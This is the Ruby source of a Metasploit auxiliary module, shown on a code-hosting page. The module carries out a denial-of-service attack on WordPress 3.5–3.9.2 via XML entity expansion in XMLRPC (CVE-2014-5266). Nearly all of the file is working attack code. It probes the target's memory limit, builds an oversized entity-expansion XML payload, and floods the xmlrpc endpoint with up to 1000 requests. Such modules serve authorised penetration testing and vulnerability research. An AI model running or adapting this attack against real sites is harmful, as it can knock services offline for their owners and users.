Files
metasploit-gs/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb
T

186 lines
5.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Dos
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress XMLRPC DoS',
'Description' => %q{
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
also patched).
},
'Author' => [
'Nir Goldshlager', # advisory
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-5266'],
['URL', 'https://wordpress.org/news/2014/08/wordpress-3-9-2/'],
['URL', 'http://www.breaksec.com/?p=6362'],
['URL', 'https://mashable.com/archive/wordpress-xml-blowup-dos'],
['URL', 'https://core.trac.wordpress.org/changeset/29404'],
['WPVDB', '7526']
],
'DisclosureDate' => '2014-08-06',
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptInt.new('RLIMIT', [ true, 'Number of requests to send', 1000 ])
]
)
register_advanced_options(
[
OptInt.new('FINGERPRINT_STEP', [true, 'The stepsize in MB when fingerprinting', 8]),
OptInt.new('DEFAULT_LIMIT', [true, 'The default limit in MB', 8])
]
)
end
def rlimit
datastore['RLIMIT']
end
def default_limit
datastore['DEFAULT_LIMIT']
end
def fingerprint_step
datastore['FINGERPRINT_STEP']
end
def fingerprint
memory_to_use = fingerprint_step
# try out the available memory in steps
# apache will return a server error if the limit is reached
while memory_to_use < 1024
vprint_status("trying memory limit #{memory_to_use}MB")
opts = {
'method' => 'POST',
'uri' => wordpress_url_xmlrpc,
'data' => generate_xml(memory_to_use),
'ctype' => 'text/xml'
}
begin
# low timeout because the server error is returned immediately
res = send_request_cgi(opts, 3)
rescue ::Rex::ConnectionError => e
print_error("unable to connect: '#{e.message}'")
break
end
if res && res.code == 500
# limit reached, return last limit
last_limit = memory_to_use - fingerprint_step
vprint_status("got an error - using limit #{last_limit}MB")
return last_limit
else
memory_to_use += fingerprint_step
end
end
# no limit can be determined
print_warning("can not determine limit, will use default of #{default_limit}")
return default_limit
end
def generate_xml(size)
entity = Rex::Text.rand_text_alpha(3)
doctype = Rex::Text.rand_text_alpha(6)
param_value_1 = Rex::Text.rand_text_alpha(5)
param_value_2 = Rex::Text.rand_text_alpha(5)
size_bytes = size * 1024
# Wordpress only resolves one level of entities so we need
# to specify one long entity and reference it multiple times
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
xml << '<!DOCTYPE %<doctype>s ['
xml << '<!ENTITY %<entity>s "%<entity_value>s">'
xml << ']>'
xml << '<methodCall>'
xml << '<methodName>'
xml << '%<payload>s'
xml << '</methodName>'
xml << '<params>'
xml << '<param><value>%<param_value_1>s</value></param>'
xml << '<param><value>%<param_value_2>s</value></param>'
xml << '</params>'
xml << '</methodCall>'
empty_xml = xml % {
doctype: '',
entity: '',
entity_value: '',
payload: '',
param_value_1: '',
param_value_2: ''
}
space_to_fill = size_bytes - empty_xml.size
vprint_status("max XML space to fill: #{space_to_fill} bytes")
payload = "&#{entity};" * (space_to_fill / 6)
entity_value_length = space_to_fill - payload.length
payload_xml = xml % {
doctype: doctype,
entity: entity,
entity_value: Rex::Text.rand_text_alpha(entity_value_length),
payload: payload,
param_value_1: param_value_1,
param_value_2: param_value_2
}
payload_xml
end
def run
# get the max size
print_status('trying to fingerprint the maximum memory we could use')
size = fingerprint
print_status("using #{size}MB as memory limit")
# only generate once
xml = generate_xml(size)
for x in 1..rlimit
print_status("sending request ##{x}...")
opts = {
'method' => 'POST',
'uri' => wordpress_url_xmlrpc,
'data' => xml,
'ctype' => 'text/xml'
}
begin
c = connect
r = c.request_cgi(opts)
c.send_request(r)
# Don't wait for a response, can take very long
rescue ::Rex::ConnectionError => e
print_error("unable to connect: '#{e.message}'")
return
ensure
disconnect(c) if c
end
end
end
end